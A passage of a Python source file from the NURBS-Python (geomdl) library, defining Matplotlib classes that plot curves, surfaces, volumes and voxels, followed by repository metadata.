linewidth=plot['color'][1])\n                legend_proxy.append(extrasplt)\n                legend_names.append(plot['name'])\n\n        # Add legend\n        if self.vconf.display_legend:\n            plt.legend(legend_proxy, legend_names)\n\n        # Remove axes\n        if not self.vconf.display_axes:\n            plt.axis('off')\n\n        # Set aspect ratio\n        if self.vconf.axes_equal:\n            ax.set_aspect('equal')\n\n        # Axis labels\n        if self.vconf.display_labels:\n            ax.set_xlabel('x')\n            ax.set_ylabel('y')\n\n        # Process keyword arguments\n        fig_filename = kwargs.get('fig_save_as', None)\n        fig_display = kwargs.get('display_plot', True)\n\n        # Check if running inside a Jupyter notebook\n        if not self.vconf.is_notebook():\n            # Display the plot or save the figure\n            if fig_display:\n                plt.show()\n            else:\n                fig_filename = self.vconf.figure_image_filename if fig_filename is None else fig_filename\n                self.vconf.save_figure_as(fig, fig_filename)\n\n\nclass VisCurve3D(vis.VisAbstract):\n    \"\"\" Matplotlib visualization module for 3D curves. \"\"\"\n    def __init__(self, config=VisConfig(), **kwargs):\n        super(VisCurve3D, self).__init__(config, **kwargs)\n\n    def render(self, **kwargs):\n        \"\"\" Plots the 3D curve and the control points polygon. \"\"\"\n        # Calling parent function\n        super(VisCurve3D, self).render(**kwargs)\n\n        # Initialize variables\n        legend_proxy = []\n        legend_names = []\n\n        # Draw control points polygon and the 3D curve\n        fig = plt.figure(figsize=self.vconf.figure_size, dpi=self.vconf.figure_dpi)\n        ax = Axes3D(fig)\n\n        # Start plotting\n        for plot in self._plots:\n            pts = np.array(plot['ptsarr'], dtype=self.vconf.dtype)\n\n            # Try not to fail if the input is 2D\n            if pts.shape[1] == 2:\n                pts = np.c_[pts, np.zeros(pts.shape[0])]\n\n            # Plot control points\n            if plot['type'] == 'ctrlpts' and self.vconf.display_ctrlpts:\n                ax.plot(pts[:, 0], pts[:, 1], pts[:, 2], color=plot['color'], linestyle='-.', marker='o')\n                plot_proxy = mpl.lines.Line2D([0], [0], linestyle='-.', color=plot['color'], marker='o')\n                legend_proxy.append(plot_proxy)\n                legend_names.append(plot['name'])\n\n            # Plot evaluated points\n            if plot['type'] == 'evalpts' and self.vconf.display_evalpts:\n                ax.plot(pts[:, 0], pts[:, 1], pts[:, 2], color=plot['color'], linestyle='-', alpha=self.vconf.alpha)\n                plot_proxy = mpl.lines.Line2D([0], [0], linestyle='-', color=plot['color'])\n                legend_proxy.append(plot_proxy)\n                legend_names.append(plot['name'])\n\n            # Plot bounding box\n            if plot['type'] == 'bbox' and self.vconf.display_bbox:\n                ax.plot(pts[:, 0], pts[:, 1], pts[:, 2], color=plot['color'], linestyle='--')\n                plot_proxy = mpl.lines.Line2D([0], [0], linestyle='--', color=plot['color'])\n                legend_proxy.append(plot_proxy)\n                legend_names.append(plot['name'])\n\n            # Plot extras\n            if plot['type'] == 'extras':\n                ax.plot(pts[:, 0], pts[:, 1], pts[:, 2],\n                        color=plot['color'][0], linestyle='-', linewidth=plot['color'][1])\n                plot_proxy = mpl.lines.Line2D([0], [0], linestyle='-', color=plot['color'][0])\n                legend_proxy.append(plot_proxy)\n                legend_names.append(plot['name'])\n\n        # Add legend to 3D plot, @ref: https://stackoverflow.com/a/20505720\n        if self.vconf.display_legend:\n            ax.legend(legend_proxy, legend_names, numpoints=1)\n\n        # Remove axes\n        if not self.vconf.display_axes:\n            plt.axis('off')\n\n        # Set axes equal\n        if self.vconf.axes_equal:\n            self.vconf.set_axes_equal(ax)\n\n        # Axis labels\n        if self.vconf.display_labels:\n            ax.set_xlabel('x')\n            ax.set_ylabel('y')\n            ax.set_zlabel('z')\n\n        # Process keyword arguments\n        fig_filename = kwargs.get('fig_save_as', None)\n        fig_display = kwargs.get('display_plot', True)\n\n        # Check if running inside a Jupyter notebook\n        if not self.vconf.is_notebook():\n            # Display the plot or save the figure\n            if fig_display:\n                plt.show()\n            else:\n                fig_filename = self.vconf.figure_image_filename if fig_filename is None else fig_filename\n                self.vconf.save_figure_as(fig, fig_filename)\n\n\nclass VisSurface(vis.VisAbstract):\n    \"\"\" Matplotlib visualization module for surfaces.\n\n    Wireframe plot for the control points and triangulated plot (using ``plot_trisurf``) for the surface points.\n    The surface is triangulated externally using :py:func:`.utilities.make_triangle_mesh()` function.\n    \"\"\"\n    def __init__(self, config=VisConfig(), **kwargs):\n        super(VisSurface, self).__init__(config, **kwargs)\n        self._module_config['ctrlpts'] = \"quads\"\n        self._module_config['evalpts'] = \"triangles\"\n\n    def animate(self, **kwargs):\n        \"\"\" Animates the surface.\n\n        This function only animates the triangulated surface. There will be no other elements, such as control points\n        grid or bounding box.\n\n        Keyword arguments:\n            * ``colormap``: applies colormap to the surface\n\n        Colormaps are a visualization feature of Matplotlib. They can be used for several types of surface plots via\n        the following import statement: ``from matplotlib import cm``\n\n        The following link displays the list of Matplolib colormaps and some examples on colormaps:\n        https://matplotlib.org/tutorials/colors/colormaps.html\n        \"\"\"\n        # Calling parent render function\n        super(VisSurface, self).render(**kwargs)\n\n        # Colormaps\n        surf_cmaps = kwargs.get('colormap', None)\n\n        # Initialize variables\n        tri_idxs = []\n        vert_coords = []\n        trisurf_params = []\n        frames = []\n        frames_tris = []\n        num_vertices = 0\n\n        # Start plotting of the surface and the control points grid\n        fig = plt.figure(figsize=self.vconf.figure_size, dpi=self.vconf.figure_dpi)\n        ax = Axes3D(fig)\n\n        # Start plotting\n        surf_count = 0\n        for plot in self._plots:\n            # Plot evaluated points\n            if plot['type'] == 'evalpts' and self.vconf.display_evalpts:\n                # Use internal triangulation algorithm instead of Qhull (MPL default)\n                verts = plot['ptsarr'][0]\n                tris = plot['ptsarr'][1]\n                # Extract zero-indexed vertex number list\n                tri_idxs += [[ti + num_vertices for ti in tri.data] for tri in tris]\n                # Extract vertex coordinates\n                vert_coords += [vert.data for vert in verts]\n                # Update number of vertices\n                num_vertices = len(vert_coords)\n\n                # Determine the color or the colormap of the triangulated plot\n                params = {}\n                if surf_cmaps:\n                    try:\n                        params['cmap'] = surf_cmaps[surf_count]\n                        surf_count += 1\n                    except IndexError:\n                        params['color'] = plot['color']\n                else:\n                    params['color'] = plot['color']\n                trisurf_params += [params for _ in range(len(tris))]\n\n        # Pre-processing for the animation\n        pts = np.array(vert_coords, dtype=self.vconf.dtype)\n\n        # Create the frames (Artists)\n        for tidx, pidx in zip(tri_idxs, trisurf_params):\n            frames_tris.append(tidx)\n            # Create MPL Triangulation object\n            triangulation = mpltri.Triangulation(pts[:, 0], pts[:, 1], triangles=frames_tris)\n            # Use custom Triangulation object and the choice of color/colormap to plot the surface\n            p3df = ax.plot_trisurf(triangulation, pts[:, 2], alpha=self.vconf.alpha, **pidx)\n            # Add to frames list\n            frames.append([p3df])\n\n        # Create MPL ArtistAnimation\n        ani = animation.ArtistAnimation(fig, frames, interval=100, blit=True, repeat_delay=1000)\n\n        # Remove axes\n        if not self.vconf.display_axes:\n            plt.axis('off')\n\n        # Set axes equal\n        if self.vconf.axes_equal:\n            self.vconf.set_axes_equal(ax)\n\n        # Axis labels\n        if self.vconf.display_labels:\n            ax.set_xlabel('x')\n            ax.set_ylabel('y')\n            ax.set_zlabel('z')\n\n        # Process keyword arguments\n        fig_filename = kwargs.get('fig_save_as', None)\n        fig_display = kwargs.get('display_plot', True)\n\n        # Check if running inside a Jupyter notebook\n        if not self.vconf.is_notebook():\n            # Display the plot or save the figure\n            if fig_display:\n                plt.show()\n            else:\n                fig_filename = self.vconf.figure_image_filename if fig_filename is None else fig_filename\n                self.vconf.save_figure_as(fig, fig_filename)\n\n\n    def render(self, **kwargs):\n        \"\"\" Plots the surface and the control points grid.\n\n        Keyword arguments:\n            * ``colormap``: applies colormap to the surface\n\n        Colormaps are a visualization feature of Matplotlib. They can be used for several types of surface plots via\n        the following import statement: ``from matplotlib import cm``\n\n        The following link displays the list of Matplolib colormaps and some examples on colormaps:\n        https://matplotlib.org/tutorials/colors/colormaps.html\n        \"\"\"\n        # Calling parent function\n        super(VisSurface, self).render(**kwargs)\n\n        # Colormaps\n        surf_cmaps = kwargs.get('colormap', None)\n\n        # Initialize variables\n        legend_proxy = []\n        legend_names = []\n\n        # Start plotting of the surface and the control points grid\n        fig = plt.figure(figsize=self.vconf.figure_size, dpi=self.vconf.figure_dpi)\n        ax = Axes3D(fig)\n\n        surf_count = 0\n        # Start plotting\n        for plot in self._plots:\n            # Plot control points\n            if plot['type'] == 'ctrlpts' and self.vconf.display_ctrlpts:\n                vertices = [v.data for v in plot['ptsarr'][0]]\n                faces = [q.data for q in plot['ptsarr'][1]]\n                for q in faces:\n                    el = np.array([vertices[i] for i in q], dtype=self.vconf.dtype)\n                    el[:, 2] += self._ctrlpts_offset\n                    pc3d = Poly3DCollection([el], alpha=0.0, edgecolors=plot['color'], linewidths=1.0, linestyles='-.')\n                    pc3d.set_facecolor(None)\n                    ax.add_collection3d(pc3d)\n                pts = np.array(vertices, dtype=self.vconf.dtype)\n                pts[:, 2] += self._ctrlpts_offset\n                ax.scatter(pts[:, 0], pts[:, 1], pts[:, 2], color=plot['color'], linestyle='-.', marker='o')\n                plot_proxy = mpl.lines.Line2D([0], [0], linestyle='-.', color=plot['color'], marker='o')\n                legend_proxy.append(plot_proxy)\n                legend_names.append(plot['name'])\n\n            # Plot evaluated points\n            if plot['type'] == 'evalpts' and self.vconf.display_evalpts:\n                # Use internal triangulation algorithm instead of Qhull (MPL default)\n                verts = plot['ptsarr'][0]\n                tris = plot['ptsarr'][1]\n                # Extract zero-indexed vertex number list\n                tri_idxs = [tri.data for tri in tris]\n                # Extract vertex coordinates\n                vert_coords = [vert.data for vert in verts]\n                pts = np.array(vert_coords, dtype=self.vconf.dtype)\n\n                # Determine the color or the colormap of the triangulated plot\n                trisurf_params = {}\n                if surf_cmaps:\n                    try:\n                        trisurf_params['cmap'] = surf_cmaps[surf_count]\n                        surf_count += 1\n                    except IndexError:\n                        trisurf_params['color'] = plot['color']\n                else:\n                    trisurf_params['color'] = plot['color']\n\n                # Create MPL Triangulation object\n                if pts.size != 0:\n                    triangulation = mpltri.Triangulation(pts[:, 0], pts[:, 1], triangles=tri_idxs)\n                    # Use custom Triangulation object and the choice of color/colormap to plot the surface\n                    ax.plot_trisurf(triangulation, pts[:, 2], alpha=self.vconf.alpha, **trisurf_params)\n                    # Add to legend\n                    plot_proxy = mpl.lines.Line2D([0], [0], linestyle='none', color=plot['color'], marker='^')\n                    legend_proxy.append(plot_proxy)\n                    legend_names.append(plot['name'])\n\n            # Plot bounding box\n            if plot['type'] == 'bbox' and self.vconf.display_bbox:\n                pts = np.array(plot['ptsarr'], dtype=self.vconf.dtype)\n                ax.plot(pts[:, 0], pts[:, 1], pts[:, 2], color=plot['color'], linestyle='--')\n                plot_proxy = mpl.lines.Line2D([0], [0], linestyle='--', color=plot['color'])\n                legend_proxy.append(plot_proxy)\n                legend_names.append(plot['name'])\n\n            # Plot trim curves\n            if self.vconf.display_trims:\n                if plot['type'] == 'trimcurve':\n                    pts = np.array(plot['ptsarr'], dtype=self.vconf.dtype)\n                    ax.scatter(pts[:, 0], pts[:, 1], pts[:, 2], color=plot['color'], marker='o',\n                               s=self.vconf.trim_size, depthshade=False)\n                    plot_proxy = mpl.lines.Line2D([0], [0], linestyle='none', color=plot['color'], marker='o')\n                    legend_proxy.append(plot_proxy)\n                    legend_names.append(plot['name'])\n\n            # Plot extras\n            if plot['type'] == 'extras':\n                pts = np.array(plot['ptsarr'], dtype=self.vconf.dtype)\n                ax.plot(pts[:, 0], pts[:, 1], pts[:, 2],\n                        color=plot['color'][0], linestyle='-', linewidth=plot['color'][1])\n                plot_proxy = mpl.lines.Line2D([0], [0], linestyle='-', color=plot['color'][0])\n                legend_proxy.append(plot_proxy)\n                legend_names.append(plot['name'])\n\n        # Add legend to 3D plot, @ref: https://stackoverflow.com/a/20505720\n        if self.vconf.display_legend:\n            ax.legend(legend_proxy, legend_names, numpoints=1)\n\n        # Remove axes\n        if not self.vconf.display_axes:\n            plt.axis('off')\n\n        # Set axes equal\n        if self.vconf.axes_equal:\n            self.vconf.set_axes_equal(ax)\n\n        # Axis labels\n        if self.vconf.display_labels:\n            ax.set_xlabel('x')\n            ax.set_ylabel('y')\n            ax.set_zlabel('z')\n\n        # Process keyword arguments\n        fig_filename = kwargs.get('fig_save_as', None)\n        fig_display = kwargs.get('display_plot', True)\n\n        # Check if running inside a Jupyter notebook\n        if not self.vconf.is_notebook():\n            # Display the plot or save the figure\n            if fig_display:\n                plt.show()\n            else:\n                fig_filename = self.vconf.figure_image_filename if fig_filename is None else fig_filename\n                self.vconf.save_figure_as(fig, fig_filename)\n\n\nclass VisSurfWireframe(vis.VisAbstract):\n    \"\"\" Matplotlib visualization module for surfaces.\n\n    Scatter plot for the control points and wireframe plot for the surface points.\n    \"\"\"\n    def __init__(self, config=VisConfig(), **kwargs):\n        super(VisSurfWireframe, self).__init__(config, **kwargs)\n        self._module_config['ctrlpts'] = \"points\"\n        self._module_config['evalpts'] = \"quads\"\n\n    def render(self, **kwargs):\n        \"\"\" Plots the surface and the control points grid. \"\"\"\n        # Calling parent function\n        super(VisSurfWireframe, self).render(**kwargs)\n\n        # Initialize variables\n        legend_proxy = []\n        legend_names = []\n\n        # Start plotting of the surface and the control points grid\n        fig = plt.figure(figsize=self.vconf.figure_size, dpi=self.vconf.figure_dpi)\n        ax = Axes3D(fig)\n\n        # Start plotting\n        for plot in self._plots:\n            # Plot control points\n            if plot['type'] == 'ctrlpts' and self.vconf.display_ctrlpts:\n                pts = np.array(plot['ptsarr'], dtype=self.vconf.dtype)\n                cp_z = pts[:, 2] + self._ctrlpts_offset\n                ax.scatter(pts[:, 0], pts[:, 1], cp_z, color=plot['color'], s=25, depthshade=True)\n                plot_proxy = mpl.lines.Line2D([0], [0], linestyle='-.', color=plot['color'], marker='o')\n                legend_proxy.append(plot_proxy)\n                legend_names.append(plot['name'])\n\n            # Plot evaluated points\n            if plot['type'] == 'evalpts' and self.vconf.display_evalpts:\n                vertices = [v.data for v in plot['ptsarr'][0]]\n                faces = [q.data for q in plot['ptsarr'][1]]\n                for q in faces:\n                    el = np.array([vertices[i] for i in q], dtype=self.vconf.dtype)\n                    el[:, 2] += self._ctrlpts_offset\n                    pc3d = Poly3DCollection([el], alpha=0.0, edgecolors=plot['color'], linewidths=0.5, linestyles='-')\n                    pc3d.set_facecolor(None)\n                    ax.add_collection3d(pc3d)\n                pts = np.array(vertices, dtype=self.vconf.dtype)\n                ax.scatter(pts[:, 0], pts[:, 1], pts[:, 2], color=plot['color'], s=5)\n                plot_proxy = mpl.lines.Line2D([0], [0], linestyle='-', color=plot['color'])\n                legend_proxy.append(plot_proxy)\n                legend_names.append(plot['name'])\n\n            # Plot bounding box\n            if plot['type'] == 'bbox' and self.vconf.display_bbox:\n                pts = np.array(plot['ptsarr'], dtype=self.vconf.dtype)\n                ax.plot(pts[:, 0], pts[:, 1], pts[:, 2], color=plot['color'], linestyle='--')\n                plot_proxy = mpl.lines.Line2D([0], [0], linestyle='--', color=plot['color'])\n                legend_proxy.append(plot_proxy)\n                legend_names.append(plot['name'])\n\n            # Plot trim curves\n            if self.vconf.display_trims:\n                if plot['type'] == 'trimcurve':\n                    pts = np.array(plot['ptsarr'], dtype=self.vconf.dtype)\n                    ax.scatter(pts[:, 0], pts[:, 1], pts[:, 2], color=plot['color'], marker='o',\n                               s=self.vconf.trim_size, depthshade=False)\n                    plot_proxy = mpl.lines.Line2D([0], [0], linestyle='none', color=plot['color'], marker='o')\n                    legend_proxy.append(plot_proxy)\n                    legend_names.append(plot['name'])\n\n            # Plot extras\n            if plot['type'] == 'extras':\n                pts = np.array(plot['ptsarr'], dtype=self.vconf.dtype)\n                ax.plot(pts[:, 0], pts[:, 1], pts[:, 2],\n                        color=plot['color'][0], linestyle='-', linewidth=plot['color'][1])\n                plot_proxy = mpl.lines.Line2D([0], [0], linestyle='-', color=plot['color'][0])\n                legend_proxy.append(plot_proxy)\n                legend_names.append(plot['name'])\n\n        # Add legend to 3D plot, @ref: https://stackoverflow.com/a/20505720\n        if self.vconf.display_legend:\n            ax.legend(legend_proxy, legend_names, numpoints=1)\n\n        # Remove axes\n        if not self.vconf.display_axes:\n            plt.axis('off')\n\n        # Set axes equal\n        if self.vconf.axes_equal:\n            self.vconf.set_axes_equal(ax)\n\n        # Axis labels\n        if self.vconf.display_labels:\n            ax.set_xlabel('x')\n            ax.set_ylabel('y')\n            ax.set_zlabel('z')\n\n        # Process keyword arguments\n        fig_filename = kwargs.get('fig_save_as', None)\n        fig_display = kwargs.get('display_plot', True)\n\n        # Check if running inside a Jupyter notebook\n        if not self.vconf.is_notebook():\n            # Display the plot or save the figure\n            if fig_display:\n                plt.show()\n            else:\n                fig_filename = self.vconf.figure_image_filename if fig_filename is None else fig_filename\n                self.vconf.save_figure_as(fig, fig_filename)\n\n\nclass VisSurfScatter(vis.VisAbstract):\n    \"\"\" Matplotlib visualization module for surfaces.\n\n    Wireframe plot for the control points and scatter plot for the surface points.\n    \"\"\"\n    def __init__(self, config=VisConfig(), **kwargs):\n        super(VisSurfScatter, self).__init__(config, **kwargs)\n        self._module_config['ctrlpts'] = \"quads\"\n        self._module_config['evalpts'] = \"points\"\n\n    def render(self, **kwargs):\n        \"\"\" Plots the surface and the control points grid. \"\"\"\n        # Calling parent function\n        super(VisSurfScatter, self).render(**kwargs)\n\n        # Initialize variables\n        legend_proxy = []\n        legend_names = []\n\n        # Start plotting of the surface and the control points grid\n        fig = plt.figure(figsize=self.vconf.figure_size, dpi=self.vconf.figure_dpi)\n        ax = Axes3D(fig)\n\n        # Start plotting\n        for plot in self._plots:\n            # Plot control points\n            if plot['type'] == 'ctrlpts' and self.vconf.display_ctrlpts:\n                vertices = [v.data for v in plot['ptsarr'][0]]\n                faces = [q.data for q in plot['ptsarr'][1]]\n                for q in faces:\n                    el = np.array([vertices[i] for i in q], dtype=self.vconf.dtype)\n                    el[:, 2] += self._ctrlpts_offset\n                    pc3d = Poly3DCollection([el], alpha=0.0, edgecolors=plot['color'], linewidths=1.0, linestyles='-.')\n                    pc3d.set_facecolor(None)\n                    ax.add_collection3d(pc3d)\n                pts = np.array(vertices, dtype=self.vconf.dtype)\n                pts[:, 2] += self._ctrlpts_offset\n                ax.scatter(pts[:, 0], pts[:, 1], pts[:, 2], color=plot['color'], linestyle='-.', marker='o')\n                plot_proxy = mpl.lines.Line2D([0], [0], linestyle='-.', color=plot['color'], marker='o')\n                legend_proxy.append(plot_proxy)\n                legend_names.append(plot['name'])\n\n            # Plot evaluated points\n            if plot['type'] == 'evalpts' and self.vconf.display_evalpts:\n                pts = np.array(plot['ptsarr'], dtype=self.vconf.dtype)\n                ax.scatter(pts[:, 0], pts[:, 1], pts[:, 2],\n                           color=plot['color'], s=50, depthshade=True, alpha=self.vconf.alpha)\n                plot_proxy = mpl.lines.Line2D([0], [0], linestyle='none', color=plot['color'], marker='o')\n                legend_proxy.append(plot_proxy)\n                legend_names.append(plot['name'])\n\n            # Plot bounding box\n            if plot['type'] == 'bbox' and self.vconf.display_bbox:\n                pts = np.array(plot['ptsarr'], dtype=self.vconf.dtype)\n                ax.plot(pts[:, 0], pts[:, 1], pts[:, 2], color=plot['color'], linestyle='--')\n                plot_proxy = mpl.lines.Line2D([0], [0], linestyle='--', color=plot['color'])\n                legend_proxy.append(plot_proxy)\n                legend_names.append(plot['name'])\n\n            # Plot trim curves\n            if self.vconf.display_trims:\n                if plot['type'] == 'trimcurve':\n                    pts = np.array(plot['ptsarr'], dtype=self.vconf.dtype)\n                    ax.scatter(pts[:, 0], pts[:, 1], pts[:, 2], color=plot['color'], marker='o',\n                               s=self.vconf.trim_size, depthshade=False)\n                    plot_proxy = mpl.lines.Line2D([0], [0], linestyle='none', color=plot['color'], marker='o')\n                    legend_proxy.append(plot_proxy)\n                    legend_names.append(plot['name'])\n\n            # Plot extras\n            if plot['type'] == 'extras':\n                pts = np.array(plot['ptsarr'], dtype=self.vconf.dtype)\n                ax.plot(pts[:, 0], pts[:, 1], pts[:, 2],\n                        color=plot['color'][0], linestyle='-', linewidth=plot['color'][1])\n                plot_proxy = mpl.lines.Line2D([0], [0], linestyle='-', color=plot['color'][0])\n                legend_proxy.append(plot_proxy)\n                legend_names.append(plot['name'])\n\n        # Add legend to 3D plot, @ref: https://stackoverflow.com/a/20505720\n        if self.vconf.display_legend:\n            ax.legend(legend_proxy, legend_names, numpoints=1)\n\n        # Remove axes\n        if not self.vconf.display_axes:\n            plt.axis('off')\n\n        # Set axes equal\n        if self.vconf.axes_equal:\n            self.vconf.set_axes_equal(ax)\n\n        # Axis labels\n        if self.vconf.display_labels:\n            ax.set_xlabel('x')\n            ax.set_ylabel('y')\n            ax.set_zlabel('z')\n\n        # Process keyword arguments\n        fig_filename = kwargs.get('fig_save_as', None)\n        fig_display = kwargs.get('display_plot', True)\n\n        # Check if running inside a Jupyter notebook\n        if not self.vconf.is_notebook():\n            # Display the plot or save the figure\n            if fig_display:\n                plt.show()\n            else:\n                fig_filename = self.vconf.figure_image_filename if fig_filename is None else fig_filename\n                self.vconf.save_figure_as(fig, fig_filename)\n\n\nclass VisVolume(vis.VisAbstract):\n    \"\"\" Matplotlib visualization module for volumes. \"\"\"\n    def __init__(self, config=VisConfig(), **kwargs):\n        super(VisVolume, self).__init__(config, **kwargs)\n        self._module_config['ctrlpts'] = \"points\"\n        self._module_config['evalpts'] = \"points\"\n\n    def render(self, **kwargs):\n        \"\"\" Plots the volume and the control points. \"\"\"\n        # Calling parent function\n        super(VisVolume, self).render(**kwargs)\n\n        # Initialize variables\n        legend_proxy = []\n        legend_names = []\n\n        # Start plotting of the surface and the control points grid\n        fig = plt.figure(figsize=self.vconf.figure_size, dpi=self.vconf.figure_dpi)\n        ax = Axes3D(fig)\n\n        # Start plotting\n        for plot in self._plots:\n            pts = np.array(plot['ptsarr'], dtype=self.vconf.dtype)\n            # Plot control points\n            if plot['type'] == 'ctrlpts' and self.vconf.display_ctrlpts:\n                ax.scatter(pts[:, 0], pts[:, 1], pts[:, 2], color=plot['color'], marker='^', s=20, depthshade=True)\n                plot_proxy = mpl.lines.Line2D([0], [0], linestyle='none', color=plot['color'], marker='^')\n                legend_proxy.append(plot_proxy)\n                legend_names.append(plot['name'])\n\n            # Plot evaluated points\n            if plot['type'] == 'evalpts' and self.vconf.display_evalpts:\n                ax.scatter(pts[:, 0], pts[:, 1], pts[:, 2],\n                           color=plot['color'], marker='o', s=10, depthshade=True, alpha=self.vconf.alpha)\n                plot_proxy = mpl.lines.Line2D([0], [0], linestyle='none', color=plot['color'], marker='o')\n                legend_proxy.append(plot_proxy)\n                legend_names.append(plot['name'])\n\n            # Plot bounding box\n            if plot['type'] == 'bbox' and self.vconf.display_bbox:\n                ax.plot(pts[:, 0], pts[:, 1], pts[:, 2], color=plot['color'], linestyle='--')\n                plot_proxy = mpl.lines.Line2D([0], [0], linestyle='--', color=plot['color'])\n                legend_proxy.append(plot_proxy)\n                legend_names.append(plot['name'])\n\n            # Plot extras\n            if plot['type'] == 'extras':\n                ax.plot(pts[:, 0], pts[:, 1], pts[:, 2],\n                        color=plot['color'][0], linestyle='-', linewidth=plot['color'][1])\n                plot_proxy = mpl.lines.Line2D([0], [0], linestyle='-', color=plot['color'][0])\n                legend_proxy.append(plot_proxy)\n                legend_names.append(plot['name'])\n\n        # Add legend to 3D plot, @ref: https://stackoverflow.com/a/20505720\n        if self.vconf.display_legend:\n            ax.legend(legend_proxy, legend_names, numpoints=1)\n\n        # Remove axes\n        if not self.vconf.display_axes:\n            plt.axis('off')\n\n        # Set axes equal\n        if self.vconf.axes_equal:\n            self.vconf.set_axes_equal(ax)\n\n        # Axis labels\n        if self.vconf.display_labels:\n            ax.set_xlabel('x')\n            ax.set_ylabel('y')\n            ax.set_zlabel('z')\n\n        # Process keyword arguments\n        fig_filename = kwargs.get('fig_save_as', None)\n        fig_display = kwargs.get('display_plot', True)\n\n        # Check if running inside a Jupyter notebook\n        if not self.vconf.is_notebook():\n            # Display the plot or save the figure\n            if fig_display:\n                plt.show()\n            else:\n                fig_filename = self.vconf.figure_image_filename if fig_filename is None else fig_filename\n                self.vconf.save_figure_as(fig, fig_filename)\n\n\nclass VisVoxel(vis.VisAbstract):\n    \"\"\" Matplotlib visualization module for voxel representation of the volumes. \"\"\"\n    def __init__(self, config=VisConfig(), **kwargs):\n        super(VisVoxel, self).__init__(config, **kwargs)\n        self._module_config['ctrlpts'] = \"points\"\n        self._module_config['evalpts'] = \"voxels\"\n\n    def render(self, **kwargs):\n        \"\"\" Displays the voxels and the control points. \"\"\"\n        # Calling parent function\n        super(VisVoxel, self).render(**kwargs)\n\n        # Initialize variables\n        legend_proxy = []\n        legend_names = []\n\n        # Start plotting of the surface and the control points grid\n        fig = plt.figure(figsize=self.vconf.figure_size, dpi=self.vconf.figure_dpi)\n        ax = Axes3D(fig)\n\n        # Start plotting\n        for plot in self._plots:\n            # Plot control points\n            if plot['type'] == 'ctrlpts' and self.vconf.display_ctrlpts:\n                pts = np.array(plot['ptsarr'], dtype=self.vconf.dtype)\n                ax.scatter(pts[:, 0], pts[:, 1], pts[:, 2], color=plot['color'], marker='^', s=20, depthshade=True)\n                plot_proxy = mpl.lines.Line2D([0], [0], linestyle='none', color=plot['color'], marker='^')\n                legend_proxy.append(plot_proxy)\n                legend_names.append(plot['name'])\n\n            # Plot evaluated points\n            if plot['type'] == 'evalpts' and self.vconf.display_evalpts:\n                faces = np.array(plot['ptsarr'][1], dtype=self.vconf.dtype)\n                filled = np.array(plot['ptsarr'][2], dtype=self.vconf.dtype)\n                # Find filled voxels\n                faces_filled = np.concatenate(faces[filled == 1.0])\n                # Create a single Poly3DCollection object\n                pc3d = Poly3DCollection(faces_filled, facecolors=plot['color'], edgecolors='k')\n                ax.add_collection3d(pc3d)\n                # Set axis limits\n                gf_min = np.amin(faces_filled, axis=(0, 1))\n                gf_max = np.amax(faces_filled, axis=(0, 1))\n                ax.set_xlim([gf_min[0], gf_max[0]])\n                ax.set_ylim([gf_min[1], gf_max[1]])\n                ax.set_zlim([gf_min[2], gf_max[2]])\n                # Legend\n                plot_proxy = mpl.lines.Line2D([0], [0], linestyle='none', color=plot['color'], marker='o')\n                legend_proxy.append(plot_proxy)\n                legend_names.append(plot['name'])\n\n            # Plot bounding box\n            if plot['type'] == 'bbox' and self.vconf.display_bbox:\n                ax.plot(pts[:, 0], pts[:, 1], pts[:, 2], color=plot['color'], linestyle='--')\n                plot_proxy = mpl.lines.Line2D([0], [0], linestyle='--', color=plot['color'])\n                legend_proxy.append(plot_proxy)\n                legend_names.append(plot['name'])\n\n            # Plot extras\n            if plot['type'] == 'extras':\n                ax.plot(pts[:, 0], pts[:, 1], pts[:, 2],\n                        color=plot['color'][0], linestyle='-', linewidth=plot['color'][1])\n                plot_proxy = mpl.lines.Line2D([0], [0], linestyle='-', color=plot['color'][0])\n                legend_proxy.append(plot_proxy)\n                legend_names.append(plot['name'])\n\n        # Add legend to 3D plot, @ref: https://stackoverflow.com/a/20505720\n        if self.vconf.display_legend:\n            ax.legend(legend_proxy, legend_names, numpoints=1)\n\n        # Remove axes\n        if not self.vconf.display_axes:\n            plt.axis('off')\n\n        # Set axes equal\n        if self.vconf.axes_equal:\n            self.vconf.set_axes_equal(ax)\n\n        # Axis labels\n        if self.vconf.display_labels:\n            ax.set_xlabel('x')\n            ax.set_ylabel('y')\n            ax.set_zlabel('z')\n\n        # Process keyword arguments\n        fig_filename = kwargs.get('fig_save_as', None)\n        fig_display = kwargs.get('display_plot', True)\n\n        # Check if running inside a Jupyter notebook\n        if not self.vconf.is_notebook():\n            # Display the plot or save the figure\n            if fig_display:\n                plt.show()\n            else:\n                fig_filename = self.vconf.figure_image_filename if fig_filename is None else fig_filename\n                self.vconf.save_figure_as(fig, fig_filename)\n", "meta": {"hexsha": "a23dbba7898a728e433a5631177b778aacb5f12a", "size": 40530, "ext": "py", "lang": "Python", "max_stars_repo_path": "geomdl/visualization/VisMPL.py", "max_stars_repo_name": "Mawel123/NURBS-Python", "max_stars_repo_head_hexsha": "48092978a102dfb0ff470225ca8bd2771fbb93d2", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 382, "max_stars_repo_stars_event_min_datetime": "2016-09-22T16:21:47.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-27T18:23:16.000Z", "max_issues_repo_path": "geomdl/visualization/VisMPL.py", "max_issues_repo_name": "Mawel123/NURBS-Python", "max_issues_repo_head_hexsha": "48092978a102dfb0ff470225ca8bd2771fbb93d2", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 143, "max_issues_repo_issues_event_min_datetime": "2017-02-10T03:45:09.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T05:24:05.000Z", "max_forks_repo_path": "geomdl/visualization/VisMPL.py", "max_forks_repo_name": "Mawel123/NURBS-Python", "max_forks_repo_head_hexsha": "48092978a102dfb0ff470225ca8bd2771fbb93d2", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 123, "max_forks_repo_forks_event_min_datetime": "2016-06-10T14:11:37.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-28T11:39:00.000Z", "avg_line_length": 42.9798515376, "max_line_length": 119, "alphanum_fraction": 0.5696767826, "include": true, "reason": "import numpy", "num_tokens": 9268, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45713671682749485, "lm_q2_score": 0.11279540180929935, "lm_q1q2_score": 0.05156291965634118}}
